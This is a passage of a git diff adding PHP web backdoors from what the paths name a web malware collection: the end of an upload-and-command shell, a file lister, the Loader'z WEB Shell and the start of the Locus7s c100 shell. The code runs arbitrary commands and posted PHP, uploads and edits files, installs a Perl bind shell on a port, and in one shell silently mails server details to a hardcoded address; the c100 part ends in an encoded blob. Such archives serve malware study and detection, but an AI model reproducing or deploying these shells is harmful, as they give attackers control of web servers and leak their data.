<td><input name="upl" type="submit" value="Upload"></td></tr> + </form></table> +<pre><hr> +<? + if(($_POST['upl']) == "Upload" ) { + if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir."/".$_FILES['fila']['name'])) { + echo "The file has been uploaded<br><br>"; + } else { + echo "There was an error uploading the file, please try again!"; + } + } + if(($_POST['exe']) == "Execute") { + $curcmd = "cd ".$curdir.";".$curcmd; + $f=popen($curcmd,"r"); + while (!feof($f)) { + $buffer = fgets($f, 4096); + $string .= $buffer; + } + pclose($f); + echo htmlspecialchars($string); + } +?> + </pre> + </body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/list.php b/web-malware-collection-master/Backdoors/PHP/list.php new file mode 100755 index 0000000..4345fbd --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/list.php @@ -0,0 +1,33 @@ +<? +// +// PHP_KIT +// +// list.php = Directory & File Listing +// +// by: The Dark Raver +// modified: 21/01/2004 +// +?> + +<? + +if($_GET['file']) { + $fichero=$_GET['file']; + } else { + $fichero="/"; + } + +if($handle = @opendir($fichero)) { + while($filename = readdir($handle)) { + echo "( ) <a href=?file=" . $fichero . "/" . $filename . ">" . $filename . "</a><br>"; + } + closedir($handle); + } else { + echo "FILE: " . $fichero . "<br><hr><pre>"; + $fp = fopen($fichero, "r"); + $buffer = fread($fp, filesize($fichero)); + echo $buffer; + fclose($fp); + } + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/load_shell.txt b/web-malware-collection-master/Backdoors/PHP/load_shell.txt new file mode 100755 index 0000000..75e1d34 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/load_shell.txt @@ -0,0 +1,513 @@ +<? +error_reporting(0); +/* Loader'z WEB Shell v 0.1.0.2 {15 ������� 2005} +��� ����� �� ������������ �������. +- ������ � �������� �������� � ������� PHP. � ������� ������� ������������ ���������� ������� ���� (���������� � ���� ������, ���������� ��� ����, � �� ����� :)). +- ���������� ����, ��� ����� ;) +- �������� ��� register_globals=off +- ����� �������� ������ � ���� ���� +- �������� � �������������� ������. +- ������� ������ � ������� ������� � ������� ������� PHP. +- ������� ������ � ������ �������� �����. +- ���������� ������������ ������ �� �������. +- ������ ������ �������� ��������� ����������. �������� �� ������� ������� �� ���� ���, ���� ��, �� ������ ������� ���������� �������, +��� ��������, � ��� �� ����, ��� �� ������ ��������� �������. +- ������ ������� �������� �� ����������� ���� �������. +- ���� ������ �������� ��� ����������� �� Windows, ������ ���������� ��� ���������� ������ �������������� � win-1251. +- ������������ ����������� ������ ����-����. �� ������ ������� �������� ��������� � ���� �� ������� ��������� ������. +Loader Pro-Hack.ru +*/ +?> + +<style type='text/css'> +html { overflow-x: auto } +BODY { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; margin: 0px; padding: 0px; text-align: center; color: #c0c0c0; background-color: #000000 } +TABLE, TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: #c0c0c0; background-color: #0000000 } +BODY,TD {FONT-SIZE: 13px; FONT-FAMILY: verdana, arial, helvetica;} +A:link {COLOR: #666666; TEXT-DECORATION: none} +A:active { COLOR: #666666; TEXT-DECORATION: none;} +A:visited {COLOR: #666666; TEXT-DECORATION: none;} +A:hover {COLOR: #999999; TEXT-DECORATION: none;} +BODY { + SCROLLBAR-FACE-COLOR: #cccccc; + SCROLLBAR-HIGHLIGHT-COLOR: #CBAB78; + SCROLLBAR-SHADOW-COLOR: #CBAB78; + SCROLLBAR-3DLIGHT-COLOR: #CBAB78; + SCROLLBAR-ARROW-COLOR: #000000; + SCROLLBAR-TRACK-COLOR: #000000; + SCROLLBAR-DARKSHADOW-COLOR: #CBAB78} + + + + +fieldset.search { padding: 6px; line-height: 150% } + +label { cursor: pointer } + +form { display: inline } + +img { vertical-align: middle; border: 0px } + +img.attach { padding: 2px; border: 2px outset #000033 } + +#tb { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; } +#logostrip { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; } +#content { padding: 10px; margin: 10px; background-color: #000000; border: 1px solid #CBAB78; } +#logo { FONT-SIZE: 50px; } +input { width: 80; height : 17; background-color : #cccccc; + border-style: solid;border-width: 1; border-color: #CBAB78; font-size: xx-small; cursor: pointer; } +#input2 { width: 150; height : 17; background-color : #cccccc; + border-style: solid;border-width: 1; border-color: #CBAB78; font-size: xx-small; cursor: pointer; } + + +</style> + +<script> +function tag(thetag) {document.fe.editfile.value=thetag;} +</script> + + +<title>Loader'z WEB shell</title> + +<table height=100% "width="100%"> +<tr><td align="center" valign="top"> + + +<table><tr><td> +<?php + +@$dir = $_POST['dir']; +$dir = stripslashes($dir); + +@$cmd = $_POST['cmd']; +$cmd = stripslashes($cmd); +$REQUEST_URI = $_SERVER['REQUEST_URI']; +$dires = ''; +$files = ''; + + + + +if (isset($_POST['port'])){ +$bind = " +#!/usr/bin/perl + +\$port = {$_POST['port']}; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +";} + +function decode($buffer){ + +return convert_cyr_string ($buffer, 'd', 'w'); + +} + + + +function execute($com) +{ + + if (!empty($com)) + { + if(function_exists('exec')) + { + exec($com,$arr); + echo implode(' +',$arr); + } + elseif(function_exists('shell_exec')) + { + echo shell_exec($com); + + + } + elseif(function_exists('system')) +{ + + echo system($com); +} + elseif(function_exists('passthru')) + { + + echo passthru($com); + + } +} + +} + + +function perms($mode) +{ + +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + + + +/*����������*/ + +/*���������� ��� �������*/ +$servsoft = $_SERVER['SERVER_SOFTWARE']; + +if (ereg("Win32", $servsoft, $reg)){ +$sertype = "winda"; +} +else +{ +$sertype = "other";} + + + +echo $servsoft . "<br>"; +chdir($dir); +echo "Total space " . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb " . "Free space " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb <br>";$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + + + + + +if (ini_get('safe_mode') <> 1){ +if ($sertype == "winda"){ + +ob_start('decode'); +echo "OS: "; +echo execute("ver") . "<br>"; +ob_end_flush(); +} + +if ($sertype == "other"){ +echo "id:"; + +echo execute("id") . "<br>"; +echo "uname:" . execute('uname -a') . "<br>"; +}} +else{ +if ($sertype == "winda"){ + +echo "OS: " . php_uname() . "<br>"; + +} + +if ($sertype == "other"){ +echo "id:"; + +echo execute("id") . "<br>"; +echo "OS:" . php_uname() . "<br>"; +} +} + +echo 'User: ' .get_current_user() . '<br>'; + + + +if (ini_get("open_basedir")){ +echo "open_basedir: " . ini_get("open_basedir");} + + +if (ini_get('safe_mode') == 1){ +echo "<font size=\"3\"color=\"#cc0000\">Safe mode :("; + +if (ini_get('safe_mode_include_dir')){ +echo "Including from here: " . ini_get('safe_mode_include_dir'); } +if (ini_get('safe_mode_exec_dir')){ +echo " Exec here: " . ini_get('safe_mode_exec_dir'); +} +echo "</font>";} + + + + +if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "") +{ +copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]); +} + +if((isset($_POST['fileto']))||(isset($_POST['filefrom']))) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "<center><div id=logostrip>Download - OK. (".$sizef."��)</div></center>"; +} +else +{ +print "<center><div id=logostrip>Something is wrong. Download - IS NOT OK</div></center>"; +} +} + +if (isset($_POST['installbind'])){ + +if (is_dir($_POST['installpath']) == true){ +chdir($_POST['installpath']); +$_POST['installpath'] = "temp.pl";} + + +$fp = fopen($_POST['installpath'], "w"); +fwrite($fp, $bind); +fclose($fp); + +exec("perl " . $_POST['installpath']); +chdir($dir); + + +} + + +@$ef = stripslashes($_POST['editfile']); +if ($ef){ +$fp = fopen($ef, "r"); +$filearr = file($ef); + + + +$string = ''; +$content = ''; +foreach ($filearr as $string){ +$string = str_replace("<" , "&lt;" , $string); +$string = str_replace(">" , "&gt;" , $string); +$content = $content . $string; +} + +echo "<center><div id=logostrip>Edit file: $ef </div><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=content cols=100 rows=20>$content</textarea> +<input type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\"> +<input type=\"hidden\" name=\"savefile\" value=\"{$_POST['editfile']}\"><br> +<input type=\"submit\" name=\"submit\" value=\"Save\" id=input></form></center>"; +fclose($fp); +} + +if(isset($_POST['savefile'])){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "<center><div id=logostrip>Successfully saved!</div></center>"; + +} + + +if (isset($_POST['php'])){ + +echo "<center><div id=logostrip>PHP code<br><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=phpcode cols=100 rows=20></textarea><br> +<input type=\"submit\" name=\"submit\" value=\"Exec\" id=input></form></center></div>"; +} + + + +if(isset($_POST['phpcode'])){ + +echo "<center><div id=logostrip>Results of PHP execution<br><br>"; +@eval(stripslashes($_POST['phpcode'])); +echo "</div></center>"; + + +} + + +if ($cmd){ + +if($sertype == "winda"){ +ob_start(); +execute($cmd); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} +else{ +ob_start(); +echo decode(execute($cmd)); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} + +if (trim($buffer)){ +echo "<center><div id=logostrip>Command: $cmd<br><textarea cols=100 rows=20>"; +echo decode($buffer); +echo "</textarea></center></div>"; +} + +} +$arr = array(); + +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo "<table><tr><td>Name</td><td><a title=\"Type of object\">Type</a></td><td>Size</td><td>Last access</td><td>Last change</td><td>Perms</td><td><a title=\"If Yes, you have write permission\">Write</a></td><td><a title=\"If Yes, you have read permission\">Read</a></td></tr>"; + +foreach ($arr as $filename) { + +if ($filename != "." and $filename != ".."){ + +if (is_dir($filename) == true){ +$directory = ""; +$directory = $directory . "<tr><td>$filename</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$directory = $directory . "<td>Yes</td>";} +else{ +$directory = $directory . "<td>No</td>"; + +} + +if (is_readable($filename) == true){ +$directory = $directory . "<td>Yes</td>";} +else{ +$directory = $directory . "<td>No</td>"; +} +$dires = $dires . $directory; +} + +if (is_file($filename) == true){ +$file = ""; +$file = $file . "<tr><td><a onclick=tag('$filename')>$filename</a></td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$file = $file . "<td>Yes</td>";} +else{ +$file = $file . "<td>No</td>"; +} + +if (is_readable($filename) == true){ +$file = $file . "<td>Yes</td></td></tr>";} +else{ +$file = $file . "<td>No</td></td></tr>"; +} +$files = $files . $file; +} + + + +} + + + +} +echo $dires; +echo $files; +echo "</table><br>"; + + + + +echo " +<form action=\"$REQUEST_URI\" method=\"POST\"> +<table id=tb><tr><td>Command:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\"></td></tr></table> + + +<table id=tb><tr><td>Directory:<INPUT type=\"text\" name=\"dir\" size=30 value=\""; + +echo getcwd(); +echo "\"> +<INPUT type=\"submit\" value=\"Do it\" id=input></td></tr></table></form>"; + + + +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td>Download here <b>from</b>: +<INPUT type=\"text\" name=\"filefrom\" size=30 value=\"http://\"> +<b>into:</b> +<INPUT type=\"text\" name=\"fileto\" size=30> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"></td><td> +<INPUT type=\"submit\" value=\"Download\" id=input></td></tr></table></form></div>"; + +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> + +<table id=tb><tr><td> +Download from Hard:<INPUT type=\"file\" name=\"userfile\" id=input2> +<INPUT type=\"hidden\" name=\"post\" value=\"yes\"> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"> +</td><td><INPUT type=\"submit\" value=\"Download\" id=input></form></div></td></tr></table>"; + + + +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +<table id=tb><tr><td>Install bind +<b>Temp path</b><input type=\"text\" name=\"installpath\" value=\"" . getcwd() . "\"></td><td> +<b>Port</b><input type=\"text\" name=\"port\" value=\"3333\" maxlength=5 size=4></td><td> + +<INPUT type=\"hidden\" name=\"installbind\" value=\"yes\"> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"> +<INPUT type=\"submit\" value=\"Install\" id=input></form></div></td></table>"; + + +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" name=fe> +<table id=tb><tr><td>File to edit: +<input type=\"text\" name=\"editfile\" ></td><td> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\"> +<INPUT type=\"submit\" value=\"Edit\" id=input></form></div></td></table>"; + + + +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +<table id=tb><tr><td> +<INPUT type=\"hidden\" name=\"php\" value=\"yes\"> +<INPUT type=\"submit\" value=\"PHP code\" id=input></form></div></td></table>"; +?> +</td></tr></table> + + +</td></tr> +<tr valign="BOTTOM"> +<td valign=bottom> + + +<center>Coded by Loader <a href="http://pro-hack.ru">Pro-Hack.RU</a></center> + + +</td> +</tr> +</table> + diff --git a/web-malware-collection-master/Backdoors/PHP/locus.txt b/web-malware-collection-master/Backdoors/PHP/locus.txt new file mode 100755 index 0000000..f38aae2 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/locus.txt @@ -0,0 +1,3854 @@ +<?php + +/****************************************************************************************** +* Locus7s Modified c100 Shell +* Beta v. 1.0a - Project x2300 +* Written by Captain Crunch Team +* Modified by Shadow & Preddy +* Re-Modified by #!physx^ (15.2.07) +*======================================================== +* New Modifications Implemented -- ++--------------------------------------------------------+ +* -Added link to Enumerate to escalate priviledges +* -Added Rootshell.c +* -Added Rootshell.c;auto-compiler +* -Execute Rootshell.c +* -Added Mig-Log Logcleaner +* -Execute Mig-Log Logcleaner +* -milw0rm searcher (Grabs OS and searches milw0rm) +* -Locus7s Style & Image +* -Added w4ck1ng Shell Backdoor Connect and Backdoor +* -Added PHP-Proxy link to hide your ass +* -Added your ip and server ip with whois capability +* -Added private 0day released by allahaka which utilizes the linux +* sudo bash to execute a stack overflow. +*======================================================== +* FEB. 14, 2007 RELEASE NOTES: ++--------------------------------------------------------+ +* PRIVATE RELEASE OF C100 SHELL FOR LOCUS7S MEMBERS +* FAILURE TO DO SO WILL RESULT IN LOSS OF VIP +* MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP. +*======================================================== +* PRODUCT INFO: ++--------------------------------------------------------+ +* C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM +* WWW.CCTEAM.RU +* C100 SHELL - REVAMPED (X2300) MODIFIED BY LOCUS7S +* UNDERGROUND NETWORK | WWW.LOCUS7S.COM +* \E0T/ +*********************************************************/ + +//for php proxy purposes + +function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); } +$selfurl = base64_encode(selfURL()); +$phprox="http://twofaced.org/proxy/index.php?q=".$selfurl; + +//end of link + +//milw0rm search +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi("Linux",$OSV)) +{ +$Lversion=substr($Lversion,0,6); +$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; +}else{ +$Lversion=substr($Lversion,0,3); +$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; +} +//End of milw0rm search + + +//w4ck1ng Shell +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ +global $disablefunc; +$result = ""; +if (!empty($cmd)) +{ + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } +} +return $result; +} +} +} + +$proxy_shit="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